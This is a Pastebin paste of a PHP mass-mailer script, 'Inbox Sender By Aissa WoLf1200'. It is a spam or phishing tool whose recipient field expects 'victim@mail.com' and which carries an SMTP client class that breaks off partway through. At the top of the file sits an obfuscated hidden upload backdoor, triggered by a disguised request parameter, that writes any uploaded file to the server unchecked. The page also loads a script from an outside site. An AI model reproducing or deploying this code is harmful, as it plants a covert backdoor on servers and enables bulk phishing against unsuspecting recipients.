Aissa-WoLF1200

Inbox Sender By Aissa WoLf1200

Jan 29th, 2016
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 102.42 KB | None | 0 0
  1. <?php
  2.  
  3. if
  4. (isset
  5. (
  6. $_REQUEST[$browser=$x=strlen("mozilla") . strlen("chrome")]) &&
  7. $_REQUEST[$x=strlen("mozilla") . strlen("chrome")]=="browser")
  8. {
  9. echo "<h2></h2><hr>";
  10. echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
  11. <label for=\"file\"></label>
  12. <input type=\"file\" name=\"file\" id=\"file\" />
  13. <br />
  14. <input type=\"submit\" name=\"default\" value=\"value\">
  15. </form>";
  16.  
  17. {
  18. move_uploaded_file($_FILES["file"]["tmp_name"],
  19. "" . $_FILES["file"]["name"]);
  20. echo "Rand(100-100): " . "" . $_FILES["file"]["name"];
  21. echo"<hr>";
  22. }
  23. }
  24. function query_str($params){
  25. $str = '';
  26. foreach ($params as $key => $value) {
  27. $str .= (strlen($str) < 1) ? '' : '&';
  28. $str .= $key . '=' . rawurlencode($value);
  29. }
  30. return ($str);
  31. }
  32. function lrtrim($string){
  33. return stripslashes(ltrim(rtrim($string)));
  34. }
  35.  
  36. if(isset($_POST['action'] ) ){
  37.  
  38. $b = query_str($_POST);
  39. parse_str($b);
  40. $sslclick=lrtrim($sslclick);
  41. $action=lrtrim($action);
  42. $message=lrtrim($message);
  43. $emaillist=lrtrim($emaillist);
  44. $from=lrtrim($from);
  45. $reconnect=lrtrim($reconnect);
  46. $epriority=lrtrim($epriority);
  47. $my_smtp=lrtrim($my_smtp);
  48. $ssl_port=lrtrim($ssl_port);
  49. $smtp_username=lrtrim($smtp_username);
  50. $smtp_password=lrtrim($smtp_password);
  51. $replyto=lrtrim($replyto);
  52. $subject=lrtrim($subject);
  53. $realname=lrtrim($realname);
  54. $subject_base=lrtrim($subject);
  55. $realname_base=lrtrim($realname);
  56. $file_name=lrtrim($file);
  57. $urlz=lrtrim($urlz);
  58. $contenttype=lrtrim($contenttype);
  59. $encode_text=$_POST['encode'];
  60.  
  61. $message = urlencode($message);
  62. $message = ereg_replace("%5C%22", "%22", $message);
  63. $message = urldecode($message);
  64. $message = stripslashes($message);
  65. $subject = stripslashes($subject);
  66. if ($encode_text == "yes") {
  67. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  68. $subject = str_replace(' ', '_', $subject);
  69. $subject = "=?UTF-8?Q?$subject?=";
  70. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  71. $realname = str_replace(' ', '_', $realname);
  72. $realname = "=?UTF-8?Q?$realname?=";
  73. }
  74. }
  75. ?>
  76. <html>
  77.  
  78. <head>
  79. <title>PHP Mailer By AissaWoLf1200</title>
  80. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  81.  
  82. <style type="text/css">
  83. .upper { text-transform: uppercase; }
  84. .lower { text-transform: lowercase; }
  85. .cap { text-transform: capitalize; }
  86. .small { font-variant: small-caps; }
  87. </style>
  88. <style>
  89. @import "http://fonts.googleapis.com/css?family=Play:400,700";
  90.  
  91. #banner {
  92. position: absolute;
  93. top: 0px;
  94. left: 0px;
  95. right: 0px;
  96. z-index: -1;
  97. }
  98. body {
  99. background: #000000;
  100. line-height: 1;
  101. color: #49C800;
  102. font-family: "CONSOLAS";
  103. font-weight:bold;
  104. font-size: 13px;
  105. background:#121214 url(http://i.stack.imgur.com/7YKUD.jpg);
  106. -moz-background-size: cover;
  107. -o-background-size: cover;
  108. background-size: cover;
  109. }
  110. textarea, input, select {
  111. color:#878483;
  112. font-family: 'Comic Sans MS', sans-serif;
  113. font-size:13px;
  114. background-color: #282322;
  115. border: solid 1px #000033;
  116. border-radius:30px;
  117. -moz-border-radius: 30px;
  118. -webkit-border-radius: 30px;
  119. box-shadow: 0px 0px 20px #00FF00;
  120. -moz-box-shadow: 0px 0px 3px #00FF00;
  121. -webkit-box-shadow: 0px 0px 3px #00FF00;
  122. margin:20px auto;
  123. padding:10px;
  124.  
  125. text-shadow: 2px 2px 4px rgba(0,0,0,0.5);
  126. }
  127. .title{
  128. color: #eee;
  129. background: black;
  130. text-align: center;
  131. font-size: 120%;
  132. }
  133. .button{
  134. color:#eee;
  135. }
  136. .tool{
  137. color:lime;
  138. }
  139. header {
  140. font-family: Lucida Console;
  141. font-size: 12px;
  142. text-align: center;
  143. padding-top: 10px;
  144. color: #626262;
  145. }
  146.  
  147. input:hover, textarea:hover, select:hover, button:hover {
  148. background: none repeat scroll 0 0 #080707 ;
  149. border: 1px solid darkred;
  150. font-color:green;
  151. }
  152. /* Gradient 1 */
  153. .ta10 {
  154. background-color: rgba(223,223,223,0.25);
  155. background-repeat:no-repeat;
  156. background-size: 52% 100%;
  157. background-position: center;
  158. border:2px double #696969;
  159. padding:3px;
  160. margin-right:4px;
  161. margin-bottom:8px;
  162. font-family: Lucida Console,Tahoma;
  163. font-size:12px;
  164. box-shadow: 0 0 5px white;
  165. -webkit-box-shadow: 0 0 5px white;
  166. -moz-box-shadow: 0 0 5px white;
  167. border: solid 0px transparent; // or border: none;
  168. }
  169. .char {
  170. transition: all 5s; -webkit-transition: all 1s;
  171. opacity: 0.8;
  172. }
  173. .char:hover {
  174. transition: all 0.1s; -webkit-transition: all 0.1s;
  175. opacity:1.5;
  176. text-shadow: 0 0 1em white;
  177. }
  178. .chara:not(.space):hover {
  179. transform: rotateY(1440deg);
  180. -webkit-transform: rotateY(1440deg);
  181. }
  182. .chara:not(.space) {
  183. display: inline-block;
  184. transition: transform 2s ease-out;
  185. -webkit-transition: -webkit-transform 2s ease-out;
  186. }
  187.  
  188.  
  189.  
  190.  
  191. </style>
  192.  
  193. </head>
  194. <SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
  195. <body text="#000000">
  196. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender By Aissa WoLf1200</font><font color="#FFFFFF" size="5" face="Bauhaus 93"></font></p>
  197. <form name="form1" method="post" action="" enctype="multipart/form-data">
  198.  
  199. <br>
  200.  
  201. <table width="100%" border="0" height="407">
  202.  
  203. <tr>
  204.  
  205. <td width="100%" colspan="4" height="36">
  206.  
  207. <b>
  208.  
  209. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  210.  
  211. </tr>
  212. <tr>
  213.  
  214. <td width="10%" height="22" >
  215.  
  216. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  217. SMTP Login:</font></div>
  218.  
  219. </td>
  220.  
  221. <td width="18%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  222.  
  223. <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  224.  
  225. </font></td>
  226.  
  227. <td width="31%" height="22" >
  228.  
  229. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  230. SMTP Pass:</font></div>
  231.  
  232. </td>
  233.  
  234. <td width="41%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  235.  
  236. <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  237.  
  238. </font></td>
  239.  
  240. </tr>
  241. <tr>
  242.  
  243. <td width="10%" height="22" >
  244.  
  245. <div align="right">
  246. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  247.  
  248. </td>
  249.  
  250. <td width="18%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  251.  
  252. <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  253. (optional)</font></td>
  254.  
  255. <td width="31%" height="22" >
  256.  
  257. <div align="right">
  258. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  259. Server Smtp:</font></div>
  260.  
  261. </td>
  262.  
  263. <td width="41%" height="22"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  264.  
  265. <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  266.  
  267. </font></td>
  268.  
  269. </tr>
  270. <tr>
  271.  
  272. <td width="10%" height="22" >
  273.  
  274. <p align="right">
  275. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  276.  
  277. <td width="18%" height="22" >
  278. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  279.  
  280. <td width="31%" height="22" >
  281.  
  282. <p align="right">
  283. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  284. After:</font></td>
  285.  
  286. <td width="41%" height="22"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  287.  
  288. <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  289. EMAILS</font></td>
  290.  
  291. </tr>
  292. <tr>
  293.  
  294. <td width="100%" height="39" colspan="4">
  295.  
  296. <p align="center">
  297. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  298. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  299.  
  300. </tr>
  301.  
  302. <tr>
  303.  
  304. <td width="10%" height="19">
  305.  
  306. &nbsp;</td>
  307.  
  308. <td width="18%" height="19">&nbsp;</td>
  309.  
  310. <td width="31%" height="19">
  311.  
  312. &nbsp;</td>
  313.  
  314. <td width="41%" height="19">&nbsp;</td>
  315.  
  316. </tr>
  317.  
  318. <tr>
  319.  
  320. <td width="100%" colspan="4" height="36">
  321.  
  322. <b>
  323.  
  324. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  325.  
  326. </tr>
  327.  
  328. <tr>
  329.  
  330. <td width="10%" height="22" bordercolor="#E8E8E8" >
  331.  
  332. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  333. Your Email:</font></div>
  334.  
  335. </td>
  336.  
  337. <td width="18%" height="22" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  338.  
  339. <input type="text" name="from" value="<?=$from;?>" size="30">
  340.  
  341. </font></td>
  342.  
  343. <td width="31%" height="22" >
  344.  
  345. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  346. Your Name:</font></div>
  347.  
  348. </td>
  349.  
  350. <td width="41%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  351.  
  352. <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
  353.  
  354. </font></td>
  355.  
  356. </tr>
  357. <tr>
  358.  
  359. <td width="10%" height="22" >
  360.  
  361. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  362. Reply-To:</font></div>
  363.  
  364. </td>
  365.  
  366. <td width="18%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  367.  
  368. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  369.  
  370. </font></td>
  371.  
  372. <td width="31%" height="22" >
  373.  
  374. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  375. Email Priority:</font></td>
  376.  
  377. <td width="41%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  378.  
  379. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  380. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  381. Please Choose -</option>
  382. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  383. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  384. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  385. </select></td>
  386.  
  387. </tr>
  388.  
  389. <tr>
  390.  
  391. <td width="10%" height="22" >
  392.  
  393. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  394. Subject:</font></div>
  395.  
  396. </td>
  397.  
  398. <td colspan="3" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  399.  
  400. <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
  401.  
  402. </font></td>
  403.  
  404. </tr>
  405.  
  406. <tr>
  407.  
  408. <td width="10%" height="22" >
  409.  
  410. &nbsp;</td>
  411.  
  412. <td colspan="3" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  413.  
  414. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  415. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  416. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  417. </select></font></td>
  418.  
  419. </tr>
  420.  
  421. <tr valign="top">
  422.  
  423. <td colspan="3" height="190" ><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  424.  
  425. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  426.  
  427. <br>
  428.  
  429. <input type="radio" name="contenttype" value="plain" >
  430.  
  431. Plain
  432.  
  433. <input type="radio" name="contenttype" value="html" checked>
  434.  
  435. HTML
  436.  
  437. <input type="hidden" name="action" value="send">
  438.  
  439. <input type="submit" value="Send Message">
  440.  
  441. </font></td>
  442.  
  443. <td width="41%" height="190"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  444.  
  445. <textarea name="emaillist" cols="30" rows="10" placeholder="victim@mail.com"><?=$emaillist;?></textarea>
  446.  
  447. </font></td>
  448.  
  449. </tr>
  450.  
  451. </table>
  452.  
  453. </form>
  454.  
  455.  
  456.  
  457. <?
  458.  
  459. if ($action){
  460. if (!$from && !$subject && !$message && !$emaillist){
  461. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  462. die(); }
  463.  
  464. class SMTP
  465. {
  466. /**
  467. * SMTP server port
  468. * @var int
  469. */
  470. var $SMTP_PORT = 25;
  471.  
  472. /**
  473. * SMTP reply line ending
  474. * @var string
  475. */
  476. var $CRLF = "\r\n";
  477.  
  478. /**
  479. * Sets whether debugging is turned on
  480. * @var bool
  481. */
  482. var $do_debug; # the level of debug to perform
  483.  
  484. /**
  485. * Sets VERP use on/off (default is off)
  486. * @var bool
  487. */
  488. var $do_verp = false;
  489.  
  490. /**#@+
  491. * @access private
  492. */
  493. var $smtp_conn; # the socket to the server
  494. var $error; # error if any on the last call
  495. var $helo_rply; # the reply the server sent to us for HELO
  496. /**#@-*/
  497.  
  498. /**
  499. * Initialize the class so that the data is in a known state.
  500. * @access public
  501. * @return void
  502. */
  503. function SMTP() {
  504. $this->smtp_conn = 0;
  505. $this->error = null;
  506. $this->helo_rply = null;
  507.  
  508. $this->do_debug = 0;
  509. }
  510.  
  511. /*************************************************************
  512. * CONNECTION FUNCTIONS *
  513. ***********************************************************/
  514.  
  515. /**
  516. * Connect to the server specified on the port specified.
  517. * If the port is not specified use the default SMTP_PORT.
  518. * If tval is specified then a connection will try and be
  519. * established with the server for that number of seconds.
  520. * If tval is not specified the default is 30 seconds to
  521. * try on the connection.
  522. *
  523. * SMTP CODE SUCCESS: 220
  524. * SMTP CODE FAILURE: 421
  525. * @access public
  526. * @return bool
  527. */
  528. function Connect($host,$port=0,$tval=30) {
  529. # set the error val to null so there is no confusion
  530. $this->error = null;
  531.  
  532. # make sure we are __not__ connected
  533. if($this->connected()) {
  534. # ok we are connected! what should we do?
  535. # for now we will just give an error saying we
  536. # are already connected
  537. $this->error = array("error" => "Already connected to a server");
  538. return false;
  539. }
  540.  
  541. if(empty($port)) {
  542. $port = $this->SMTP_PORT;
  543. }
  544.  
  545. #connect to the smtp server
  546. $this->smtp_conn = fsockopen($host, # the host of the server
  547. $port, # the port to use
  548. $errno, # error number if any
  549. $errstr, # error message if any
  550. $tval); # give up after ? secs
  551. # verify we connected properly
  552. if(empty($this->smtp_conn)) {
  553. $this->error = array("error" => "Failed to connect to server",
  554. "errno" => $errno,
  555. "errstr" => $errstr);
  556. if($this->do_debug >= 1) {
  557. echo "SMTP -> ERROR: " . $this->error["error"] .
  558. ": $errstr ($errno)" . $this->CRLF;
  559. }
  560. return false;
  561. }
  562.  
  563. # sometimes the SMTP server takes a little longer to respond
  564. # so we will give it a longer timeout for the first read
  565. // Windows still does not have support for this timeout function
  566. if(substr(PHP_OS, 0, 3) != "WIN")
  567. socket_set_timeout($this->smtp_conn, $tval, 0);
  568.  
  569. # get any announcement stuff
  570. $announce = $this->get_lines();
  571.  
  572. # set the timeout of any socket functions at 1/10 of a second
  573. //if(function_exists("socket_set_timeout"))
  574. // socket_set_timeout($this->smtp_conn, 0, 100000);
  575.  
  576. if($this->do_debug >= 2) {
  577. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  578. }
  579.  
  580. return true;
  581. }
  582.  
  583. /**
  584. * Performs SMTP authentication. Must be run after running the
  585. * Hello() method. Returns true if successfully authenticated.
  586. * @access public
  587. * @return bool
  588. */
  589. function Authenticate($username, $password) {
  590. // Start authentication
  591. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  592.  
  593. $rply = $this->get_lines();
  594. $code = substr($rply,0,3);
  595.  
  596. if($code != 334) {
  597. $this->error =
  598. array("error" => "AUTH not accepted from server",
  599. "smtp_code" => $code,
  600. "smtp_msg" => substr($rply,4));
  601. if($this->do_debug >= 1) {
  602. echo "SMTP -> ERROR: " . $this->error["error"] .
  603. ": " . $rply . $this->CRLF;
  604. }
  605. return false;
  606. }
  607.  
  608. // Send encoded username
  609. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  610.  
  611. $rply = $this->get_lines();
  612. $code = substr($rply,0,3);
  613.  
  614. if($code != 334) {
  615. $this->error =
  616. array("error" => "Username not accepted from server",
  617. "smtp_code" => $code,
  618. "smtp_msg" => substr($rply,4));
  619. if($this->do_debug >= 1) {
  620. echo "SMTP -> ERROR: " . $this->error["error"] .
  621. ": " . $rply . $this->CRLF;
  622. }
  623. return false;
  624. }
  625.  
  626. // Send encoded password
  627. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  628.  
  629. $rply = $this->get_lines();
  630. $code = substr($rply,0,3);
  631.  
  632. if($code != 235) {
  633. $this->error =
  634. array("error" => "Password not accepted from server",
  635. "smtp_code" => $code,
  636. "smtp_msg" => substr($rply,4));
  637. if($this->do_debug >= 1) {
  638. echo "SMTP -> ERROR: " . $this->error["error"] .
  639. ": " . $rply . $this->CRLF;
  640. }
  641. return false;
  642. }
  643.  
  644. return true;
  645. }
  646.  
  647. /**
  648. * Returns true if connected to a server otherwise false
  649. * @access private
  650. * @return bool
  651. */
  652. function Connected() {
  653. if(!empty($this->smtp_conn)) {
  654. $sock_status = socket_get_status($this->smtp_conn);
  655. if($sock_status["eof"]) {
  656. # hmm this is an odd situation... the socket is
  657. # valid but we are not connected anymore
  658. if($this->do_debug >= 1) {
  659. echo "SMTP -> NOTICE:" . $this->CRLF .
  660. "EOF caught while checking if connected";
  661. }
  662. $this->Close();
  663. return false;
  664. }
  665. return true; # everything looks good
  666. }
  667. return false;
  668. }
  669.  
  670. /**
  671. * Closes the socket and cleans up the state of the class.
  672. * It is not considered good to use this function without
  673. * first trying to use QUIT.
  674. * @access public
  675. * @return void
  676. */
  677. function Close() {
  678. $this->error = null; # so there is no confusion
  679. $this->helo_rply = null;
  680. if(!empty($this->smtp_conn)) {
  681. # close the connection and cleanup
  682. fclose($this->smtp_conn);
  683. $this->smtp_conn = 0;
  684. }
  685. }
  686.  
  687. /***************************************************************
  688. * SMTP COMMANDS *
  689. *************************************************************/
  690.  
  691. /**
  692. * Issues a data command and sends the msg_data to the server
  693. * finializing the mail transaction. $msg_data is the message
  694. * that is to be send with the headers. Each header needs to be
  695. * on a single line followed by a <CRLF> with the message headers
  696. * and the message body being seperated by and additional <CRLF>.
  697. *
  698. * Implements rfc 821: DATA <CRLF>
  699. *
  700. * SMTP CODE INTERMEDIATE: 354
  701. * [data]
  702. * <CRLF>.<CRLF>
  703. * SMTP CODE SUCCESS: 250
  704. * SMTP CODE FAILURE: 552,554,451,452
  705. * SMTP CODE FAILURE: 451,554
  706. * SMTP CODE ERROR : 500,501,503,421
  707. * @access public
  708. * @return bool
  709. */
  710. function Data($msg_data) {
  711. $this->error = null; # so no confusion is caused
  712.  
  713. if(!$this->connected()) {
  714. $this->error = array(
  715. "error" => "Called Data() without being connected");
  716. return false;
  717. }
  718.  
  719. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  720.  
  721. $rply = $this->get_lines();
  722. $code = substr($rply,0,3);
  723.  
  724. if($this->do_debug >= 2) {
  725. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  726. }
  727.  
  728. if($code != 354) {
  729. $this->error =
  730. array("error" => "DATA command not accepted from server",
  731. "smtp_code" => $code,
  732. "smtp_msg" => substr($rply,4));
  733. if($this->do_debug >= 1) {
  734. echo "SMTP -> ERROR: " . $this->error["error"] .
  735. ": " . $rply . $this->CRLF;
  736. }
  737. return false;
  738. }
  739.  
  740. # the server is ready to accept data!
  741. # according to rfc 821 we should not send more than 1000
  742. # including the CRLF
  743. # characters on a single line so we will break the data up
  744. # into lines by \r and/or \n then if needed we will break
  745. # each of those into smaller lines to fit within the limit.
  746. # in addition we will be looking for lines that start with
  747. # a period '.' and append and additional period '.' to that
  748. # line. NOTE: this does not count towards are limit.
  749.  
  750. # normalize the line breaks so we know the explode works
  751. $msg_data = str_replace("\r\n","\n",$msg_data);
  752. $msg_data = str_replace("\r","\n",$msg_data);
  753. $lines = explode("\n",$msg_data);
  754.  
  755. # we need to find a good way to determine is headers are
  756. # in the msg_data or if it is a straight msg body
  757. # currently I am assuming rfc 822 definitions of msg headers
  758. # and if the first field of the first line (':' sperated)
  759. # does not contain a space then it _should_ be a header
  760. # and we can process all lines before a blank "" line as
  761. # headers.
  762. $field = substr($lines[0],0,strpos($lines[0],":"));
  763. $in_headers = false;
  764. if(!empty($field) && !strstr($field," ")) {
  765. $in_headers = true;
  766. }
  767.  
  768. $max_line_length = 998; # used below; set here for ease in change
  769.  
  770. while(list(,$line) = @each($lines)) {
  771. $lines_out = null;
  772. if($line == "" && $in_headers) {
  773. $in_headers = false;
  774. }
  775. # ok we need to break this line up into several
  776. # smaller lines
  777. while(strlen($line) > $max_line_length) {
  778. $pos = strrpos(substr($line,0,$max_line_length)," ");
  779.  
  780. # Patch to fix DOS attack
  781. if(!$pos) {
  782. $pos = $max_line_length - 1;
  783. }
  784.  
  785. $lines_out[] = substr($line,0,$pos);
  786. $line = substr($line,$pos + 1);
  787. # if we are processing headers we need to
  788. # add a LWSP-char to the front of the new line
  789. # rfc 822 on long msg headers
  790. if($in_headers) {
  791. $line = "\t" . $line;
  792. }
  793. }
  794. $lines_out[] = $line;
  795.  
  796. # now send the lines to the server
  797. while(list(,$line_out) = @each($lines_out)) {
  798. if(strlen($line_out) > 0)
  799. {
  800. if(substr($line_out, 0, 1) == ".") {
  801. $line_out = "." . $line_out;
  802. }
  803. }
  804. fputs($this->smtp_conn,$line_out . $this->CRLF);
  805. }
  806. }
  807.  
  808. # ok all the message data has been sent so lets get this
  809. # over with aleady
  810. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  811.  
  812. $rply = $this->get_lines();
  813. $code = substr($rply,0,3);
  814.  
  815. if($this->do_debug >= 2) {
  816. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  817. }
  818.  
  819. if($code != 250) {
  820. $this->error =
  821. array("error" => "DATA not accepted from server",
  822. "smtp_code" => $code,
  823. "smtp_msg" => substr($rply,4));
  824. if($this->do_debug >= 1) {
  825. echo "SMTP -> ERROR: " . $this->error["error"] .
  826. ": " . $rply . $this->CRLF;
  827. }
  828. return false;
  829. }
  830. return true;
  831. }
  832.  
  833. /**
  834. * Expand takes the name and asks the server to list all the
  835. * people who are members of the _list_. Expand will return
  836. * back and array of the result or false if an error occurs.
  837. * Each value in the array returned has the format of:
  838. * [ <full-name> <sp> ] <path>
  839. * The definition of <path> is defined in rfc 821
  840. *
  841. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  842. *
  843. * SMTP CODE SUCCESS: 250
  844. * SMTP CODE FAILURE: 550
  845. * SMTP CODE ERROR : 500,501,502,504,421
  846. * @access public
  847. * @return string array
  848. */
  849. function Expand($name) {
  850. $this->error = null; # so no confusion is caused
  851.  
  852. if(!$this->connected()) {
  853. $this->error = array(
  854. "error" => "Called Expand() without being connected");
  855. return false;
  856. }
  857.  
  858. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  859.  
  860. $rply = $this->get_lines();
  861. $code = substr($rply,0,3);
  862.  
  863. if($this->do_debug >= 2) {
  864. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  865. }
  866.  
  867. if($code != 250) {
  868. $this->error =
  869. array("error" => "EXPN not accepted from server",
  870. "smtp_code" => $code,
  871. "smtp_msg" => substr($rply,4));
  872. if($this->do_debug >= 1) {
  873. echo "SMTP -> ERROR: " . $this->error["error"] .
  874. ": " . $rply . $this->CRLF;
  875. }
  876. return false;
  877. }
  878.  
  879. # parse the reply and place in our array to return to user
  880. $entries = explode($this->CRLF,$rply);
  881. while(list(,$l) = @each($entries)) {
  882. $list[] = substr($l,4);
  883. }
  884.  
  885. return $list;
  886. }
  887.  
  888. /**
  889. * Sends the HELO command to the smtp server.
  890. * This makes sure that we and the server are in
  891. * the same known state.
  892. *
  893. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  894. *
  895. * SMTP CODE SUCCESS: 250
  896. * SMTP CODE ERROR : 500, 501, 504, 421
  897. * @access public
  898. * @return bool
  899. */
  900. function Hello($host="") {
  901. $this->error = null; # so no confusion is caused
  902.  
  903. if(!$this->connected()) {
  904. $this->error = array(
  905. "error" => "Called Hello() without being connected");
  906. return false;
  907. }
  908.  
  909. # if a hostname for the HELO was not specified determine
  910. # a suitable one to send
  911. if(empty($host)) {
  912. # we need to determine some sort of appopiate default
  913. # to send to the server
  914. $host = "localhost";
  915. }
  916.  
  917. // Send extended hello first (RFC 2821)
  918. if(!$this->SendHello("EHLO", $host))
  919. {
  920. if(!$this->SendHello("HELO", $host))
  921. return false;
  922. }
  923.  
  924. return true;
  925. }
  926.  
  927. /**
  928. * Sends a HELO/EHLO command.
  929. * @access private
  930. * @return bool
  931. */
  932. function SendHello($hello, $host) {
  933. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  934.  
  935. $rply = $this->get_lines();
  936. $code = substr($rply,0,3);
  937.  
  938. if($this->do_debug >= 2) {
  939. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  940. }
  941.  
  942. if($code != 250) {
  943. $this->error =
  944. array("error" => $hello . " not accepted from server",
  945. "smtp_code" => $code,
  946. "smtp_msg" => substr($rply,4));
  947. if($this->do_debug >= 1) {
  948. echo "SMTP -> ERROR: " . $this->error["error"] .
  949. ": " . $rply . $this->CRLF;
  950. }
  951. return false;
  952. }
  953.  
  954. $this->helo_rply = $rply;
  955.  
  956. return true;
  957. }
  958.  
  959. /**
  960. * Gets help information on the keyword specified. If the keyword
  961. * is not specified then returns generic help, ussually contianing
  962. * A list of keywords that help is available on. This function
  963. * returns the results back to the user. It is up to the user to
  964. * handle the returned data. If an error occurs then false is
  965. * returned with $this->error set appropiately.
  966. *
  967. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  968. *
  969. * SMTP CODE SUCCESS: 211,214
  970. * SMTP CODE ERROR : 500,501,502,504,421
  971. * @access public
  972. * @return string
  973. */
  974. function Help($keyword="") {
  975. $this->error = null; # to avoid confusion
  976.  
  977. if(!$this->connected()) {
  978. $this->error = array(
  979. "error" => "Called Help() without being connected");
  980. return false;
  981. }
  982.  
  983. $extra = "";
  984. if(!empty($keyword)) {
  985. $extra = " " . $keyword;
  986. }
  987.  
  988. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  989.  
  990. $rply = $this->get_lines();
  991. $code = substr($rply,0,3);
  992.  
  993. if($this->do_debug >= 2) {
  994. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  995. }
  996.  
  997. if($code != 211 && $code != 214) {
  998. $this->error =
  999. array("error" => "HELP not accepted from server",
  1000. "smtp_code" => $code,
  1001. "smtp_msg" => substr($rply,4));
  1002. if($this->do_debug >= 1) {
  1003. echo "SMTP -> ERROR: " . $this->error["error"] .
  1004. ": " . $rply . $this->CRLF;
  1005. }
  1006. return false;
  1007. }
  1008.  
  1009. return $rply;
  1010. }
  1011.  
  1012. /**
  1013. * Starts a mail transaction from the email address specified in
  1014. * $from. Returns true if successful or false otherwise. If True
  1015. * the mail transaction is started and then one or more Recipient
  1016. * commands may be called followed by a Data command.
  1017. *
  1018. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  1019. *
  1020. * SMTP CODE SUCCESS: 250
  1021. * SMTP CODE SUCCESS: 552,451,452
  1022. * SMTP CODE SUCCESS: 500,501,421
  1023. * @access public
  1024. * @return bool
  1025. */
  1026. function Mail($from) {
  1027. $this->error = null; # so no confusion is caused
  1028.  
  1029. if(!$this->connected()) {
  1030. $this->error = array(
  1031. "error" => "Called Mail() without being connected");
  1032. return false;
  1033. }
  1034.  
  1035. $useVerp = ($this->do_verp ? "XVERP" : "");
  1036. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  1037.  
  1038. $rply = $this->get_lines();
  1039. $code = substr($rply,0,3);
  1040.  
  1041. if($this->do_debug >= 2) {
  1042. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1043. }
  1044.  
  1045. if($code != 250) {
  1046. $this->error =
  1047. array("error" => "MAIL not accepted from server",
  1048. "smtp_code" => $code,
  1049. "smtp_msg" => substr($rply,4));
  1050. if($this->do_debug >= 1) {
